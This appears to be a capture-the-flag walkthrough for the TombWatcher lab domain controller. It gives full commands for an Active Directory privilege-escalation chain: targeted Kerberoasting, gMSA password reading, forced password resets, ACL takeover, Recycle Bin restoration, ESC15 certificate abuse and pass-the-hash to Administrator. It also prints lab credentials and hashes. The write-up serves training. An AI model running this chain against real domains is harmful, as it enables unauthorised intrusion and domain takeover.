Introduction
TombWatcher is a Windows Domain Controller machine focused entirely on Active Directory permission abuse. Every step is a chain - you leverage one account’s misconfigured rights to reach the next. No exploits, no CVEs until the very end. Just AD misconfigurations all the way through.
Given credentials: henry : H3nry_987TGV!
The full chain:
henryhas WriteSPN overalfred→ Targeted Kerberoast → crack alfred’s password (basketball)alfredcan add itself to INFRASTRUCTURE group → read gMSA password foransible_dev$ansible_dev$has ForceChangePassword oversam→ reset sam’s passwordsamhas WriteOwner overjohn→ take ownership → grant GenericAll → reset john’s passwordjohnis in Remote Management Users → WinRM shell → user flagjohnhas GenericAll over the ADCS OU → restore deletedcert_adminfrom Recycle Bincert_adminhas enrollment rights on WebServer template → exploit ESC15 → get Administrator certificate → root flag
Key Concepts
What is BloodHound? A tool that maps out Active Directory permissions visually. It shows you who can do what to whom - like a road map for privilege escalation.
What is Kerberoasting? In Active Directory, accounts with a Service Principal Name (SPN) can be asked for a Kerberos ticket encrypted with their password hash. Anyone can request this ticket, and you can crack it offline. Targeted Kerberoasting means you set an SPN on an account first (if you have WriteSPN), then immediately Kerberoast it.
What is a gMSA? A Group Managed Service Account - an account whose password AD manages automatically. The password is stored in AD and readable only by specific groups. If you’re in the right group, you can pull the password hash directly.
What is GenericAll? Full control over an AD object - you can change its password, add it to groups, modify its attributes, etc. It’s the most powerful permission you can have over another account.
What is ADCS / ESC15? Active Directory Certificate Services issues digital certificates. ESC15 (CVE-2024-49019) is a vulnerability in old Schema Version 1 certificate templates - because they don’t enforce Application Policy restrictions, you can request a certificate with a Client Authentication policy added, turning it into something that can authenticate as any user, including Administrator.
What is the AD Recycle Bin? When AD objects are deleted, they’re not gone immediately - they sit in a “Recycle Bin” for a period of time and can be restored. Crucially, their SID and permissions are preserved, so a restored deleted account comes back with all its old rights.
Enumeration
Nmap
ports=$(nmap -p- --min-rate=1000 -T4 tombwatcher.htb | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -sC -sV tombwatcher.htb
Key ports: 53 (DNS), 88 (Kerberos), 389/636 (LDAP), 445 (SMB), 5985 (WinRM).
This pattern = Windows Domain Controller. The cert subject confirms hostname: DC01.tombwatcher.htb, domain: tombwatcher.htb.
echo "<TARGET> tombwatcher.htb dc01.tombwatcher.htb" | sudo tee -a /etc/hosts
BloodHound: map out AD permissions
BloodHound collects everything about the domain (users, groups, permissions, ACLs) and shows it as a graph. Run it with your starting credentials:
bloodhound-python -d tombwatcher.htb -dc dc01.tombwatcher.htb \
-u henry -p 'H3nry_987TGV!' \
-c All -ns <TARGET> --dns-tcp --zip
Import the resulting ZIP into the BloodHound GUI. Search for henry and look at outbound edges. You’ll see:
HENRY --[WriteSPN]--> ALFRED
What does WriteSPN mean? You can set a Service Principal Name on alfred’s account. SPNs are what make an account Kerberoastable - once one is set, you can request a Kerberos ticket encrypted with alfred’s password.
Foothold: Targeted Kerberoast → henry to alfred
What’s happening
Since henry has WriteSPN over alfred, the targetedKerberoast tool will:
- Automatically set an SPN on alfred
- Request a Kerberos TGS ticket (encrypted with alfred’s password hash)
- Print the hash for offline cracking
python3 targetedKerberoast.py \
-d tombwatcher.htb \
-u henry -p 'H3nry_987TGV!' \
--request-user alfred \
--dc-ip <TARGET>
Download: https://github.com/ShutdownRepo/targetedKerberoast
You’ll get a hash starting with $krb5tgs$23$*Alfred$.... Save it to alfred.hash.
Crack the hash
hashcat -m 13100 alfred.hash /usr/share/wordlists/rockyou.txt
-m 13100= Kerberos 5 TGS-REP hash type
Password: basketball
You now have: alfred : basketball
Lateral Movement: alfred → ansible_dev$ → sam → john
Step 1: alfred adds himself to INFRASTRUCTURE group
BloodHound shows:
ALFRED --[AddSelf]--> INFRASTRUCTURE
AddSelf means alfred can add himself to the group without any admin approval:
bloodyAD --host 'dc01.tombwatcher.htb' -d 'tombwatcher.htb' \
-u 'alfred' -p 'basketball' \
add groupMember 'INFRASTRUCTURE' 'alfred'
Step 2: Read the gMSA password for ansible_dev$
BloodHound shows:
INFRASTRUCTURE --[ReadGMSAPassword]--> ANSIBLE_DEV$
Members of INFRASTRUCTURE can read the managed password for ansible_dev$. Alfred is now in INFRASTRUCTURE, so:
bloodyAD --host 'dc01.tombwatcher.htb' -d 'tombwatcher.htb' \
-u 'alfred' -p 'basketball' \
get object 'ANSIBLE_DEV$' --attr msDS-ManagedPassword
Output:
msDS-ManagedPassword.NTLM: aad3b435b51404eeaad3b435b51404ee:838b2bd83fbe39901be3713e8c79ce37
You now have the NTLM hash for ansible_dev$: 838b2bd83fbe39901be3713e8c79ce37
With gMSA accounts you use the hash directly - there’s no plaintext password to crack.
Step 3: ansible_dev$ resets sam’s password
BloodHound shows:
ANSIBLE_DEV$ --[ForceChangePassword]--> SAM
ForceChangePassword = you can reset another user’s password without knowing their current one:
bloodyAD --host 'dc01.tombwatcher.htb' -d 'tombwatcher.htb' \
-u 'ANSIBLE_DEV$' -p :838b2bd83fbe39901be3713e8c79ce37 \
set password sam 'Passw0rd123!'
Note:
-p :HASHis how you authenticate with an NTLM hash in bloodyAD (colon before the hash, no plaintext).
You now have: sam : Passw0rd123!
Step 4: sam takes over john (WriteOwner chain)
BloodHound shows:
SAM --[WriteOwner]--> JOHN
WriteOwner = you can change who owns the john AD object. Once you’re the owner, you can grant yourself any permission - including GenericAll (full control).
Step 4a - Make sam the owner of john:
bloodyAD --host 'dc01.tombwatcher.htb' -d 'tombwatcher.htb' \
-u 'sam' -p 'Passw0rd123!' \
set owner john sam
Step 4b - Grant sam GenericAll over john:
bloodyAD --host 'dc01.tombwatcher.htb' -d 'tombwatcher.htb' \
-u 'sam' -p 'Passw0rd123!' \
add genericAll john sam
Step 4c - Reset john’s password:
bloodyAD --host 'dc01.tombwatcher.htb' -d 'tombwatcher.htb' \
-u 'sam' -p 'Passw0rd123!' \
set password john 'Passw0rd123!'
You now have: john : Passw0rd123!
Step 5: Log in as john via WinRM
BloodHound shows john is a member of Remote Management Users - meaning he can use WinRM:
evil-winrm -i dc01.tombwatcher.htb -u john -p 'Passw0rd123!'
*Evil-WinRM* PS C:\Users\john\Documents> whoami
tombwatcher\john
Grab user.txt from C:\Users\john\Desktop\user.txt.
Privilege Escalation: john → Administrator via ESC15
Step 1: Run Certipy to enumerate certificate templates
certipy-ad find -target dc01.tombwatcher.htb -u john -p 'Passw0rd123!'
In the output, the WebServer certificate template has something weird - one of its Enrollment Rights is an unresolved SID:
Enrollment Rights : TOMBWATCHER.HTB\Domain Admins
TOMBWATCHER.HTB\Enterprise Admins
S-1-5-21-1392491010-1358638721-2126982587-1111 ← no name!
Why no name? The account that owned this SID was deleted. But the permission is still there in the ACL, waiting. If we can restore the deleted account, it will have enrollment rights on this template again.
Step 2: Find the deleted account in the AD Recycle Bin
From your evil-winrm shell as john:
Get-ADObject -Filter 'isDeleted -eq $true' -IncludeDeletedObjects `
-Properties cn,objectSid,isDeleted | Where-Object { $_.isDeleted -eq $true }
You’ll see three deleted versions of cert_admin. The one that matches the SID ...-1111 has GUID: 938182c3-bf0b-410a-9aaa-45c8e1a02ebf.
Check its details to confirm:
Get-ADObject -Filter 'objectSid -eq "S-1-5-21-1392491010-1358638721-2126982587-1111"' `
-IncludeDeletedObjects -Properties *
Look for LastKnownParent : OU=ADCS,DC=tombwatcher,DC=htb - this tells us the account lived in the ADCS OU, which john has GenericAll over.
Step 3: Restore cert_admin from the Recycle Bin
Because john has GenericAll over the ADCS OU, and the restored object lands back in that OU, john can effectively undelete it:
Restore-ADObject -Identity "938182c3-bf0b-410a-9aaa-45c8e1a02ebf"
Step 4: Propagate john’s GenericAll down to cert_admin
Restoring the object puts it back in the ADCS OU, but we need to explicitly push john’s GenericAll rights down to it as inherited permissions. Do this from your attacker machine:
impacket-dacledit \
-action 'write' \
-rights 'FullControl' \
-inheritance \
-principal 'john' \
-target-dn 'OU=ADCS,DC=TOMBWATCHER,DC=HTB' \
'TOMBWATCHER.HTB/john:Passw0rd123!'
What does
-inheritancedo? It makes the ACE flow down from the OU to all objects inside it - including the newly restoredcert_admin.
Step 5: Reset cert_admin’s password
bloodyAD --host 'dc01.tombwatcher.htb' -d 'tombwatcher.htb' \
-u 'john' -p 'Passw0rd123!' \
set password cert_admin 'Passw0rd123!'
Step 6: Confirm ESC15 vulnerability as cert_admin
certipy-ad find -dc-host dc01.tombwatcher.htb \
-u cert_admin@tombwatcher.htb -p 'Passw0rd123!' \
-vulnerable -stdout
Output confirms:
Template Name : WebServer
Schema Version : 1
Enrollee Supplies Subject : True
[!] Vulnerabilities
ESC15 : Enrollee supplies subject and schema version is 1.
Why is Schema Version 1 dangerous? Old templates (version 1) don’t enforce Application Policy constraints. This means you can add any Extended Key Usage (EKU) to your certificate request - including
Client Authentication, which lets you authenticate as any user.
Step 7: Request an Enrollment Agent certificate
First, get a certificate for cert_admin with the Enrollment Agent application policy (1.3.6.1.4.1.311.20.2.1). This makes the cert function as an agent that can request certs on behalf of other users:
certipy req \
-ca tombwatcher-CA-1 \
-username cert_admin -p 'Passw0rd123!' \
-dc-ip <TARGET> \
-template WebServer \
--application-policies '1.3.6.1.4.1.311.20.2.1' \
-target-ip <TARGET>
This saves cert_admin.pfx.
Step 8: Request a certificate on behalf of Administrator
Using cert_admin.pfx as the Enrollment Agent, request a certificate issued to the Administrator account:
certipy req \
-u cert_admin -p 'Passw0rd123!' \
-dc-ip <TARGET> \
-target-ip <TARGET> \
-ca tombwatcher-CA-1 \
-template User \
-on-behalf-of 'tombwatcher\administrator' \
-pfx cert_admin.pfx
This saves administrator.pfx.
Step 9: Authenticate with the certificate and get Administrator’s hash
certipy auth -dc-ip <TARGET> -pfx administrator.pfx
Output:
[*] Got hash for 'administrator@tombwatcher.htb':
aad3b435b51404eeaad3b435b51404ee:f61db423bebe3328d33af26741afe5fc
Step 10: Log in as Administrator via WinRM (Pass-the-Hash)
evil-winrm -i dc01.tombwatcher.htb \
-u administrator \
-H f61db423bebe3328d33af26741afe5fc
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
tombwatcher\administrator
Grab root.txt from C:\Users\Administrator\Desktop\root.txt.
Summary
Given: henry : H3nry_987TGV!
↓
BloodHound → henry has WriteSPN over alfred
↓
targetedKerberoast → crack TGS hash → alfred : basketball
↓
alfred has AddSelf → INFRASTRUCTURE group
↓
INFRASTRUCTURE has ReadGMSAPassword → ansible_dev$ NTLM hash: 838b2bd...
↓
ansible_dev$ has ForceChangePassword → reset sam's password
↓
sam has WriteOwner → john → set owner → GenericAll → reset john's password
↓
john in Remote Management Users → evil-winrm shell → user.txt
↓
john has GenericAll over ADCS OU
↓
Certipy finds unresolved SID on WebServer template enrollment rights
↓
AD Recycle Bin → find cert_admin (SID matches) → Restore-ADObject
↓
impacket-dacledit → propagate FullControl from ADCS OU to cert_admin
↓
Reset cert_admin password → confirm ESC15 on WebServer template (Schema v1)
↓
certipy req → Enrollment Agent cert (cert_admin.pfx)
↓
certipy req -on-behalf-of administrator → administrator.pfx
↓
certipy auth → Administrator NTLM hash
↓
evil-winrm -H → shell as Administrator → root.txt
Tools Used
| Tool | What it does | Link |
|---|---|---|
| bloodhound-python | Collects AD data for BloodHound | pip install bloodhound |
| BloodHound | Visualizes AD attack paths | GitHub |
| targetedKerberoast | Sets SPN + requests Kerberoastable ticket | GitHub |
| hashcat | Cracks password hashes | sudo apt install hashcat |
| bloodyAD | Modifies AD objects over LDAP | pip install bloodyAD |
| evil-winrm | WinRM shell client | gem install evil-winrm |
| certipy-ad | ADCS enumeration and exploitation | pip install certipy-ad |
| impacket-dacledit | Modifies AD ACLs (DACL) | pip install impacket |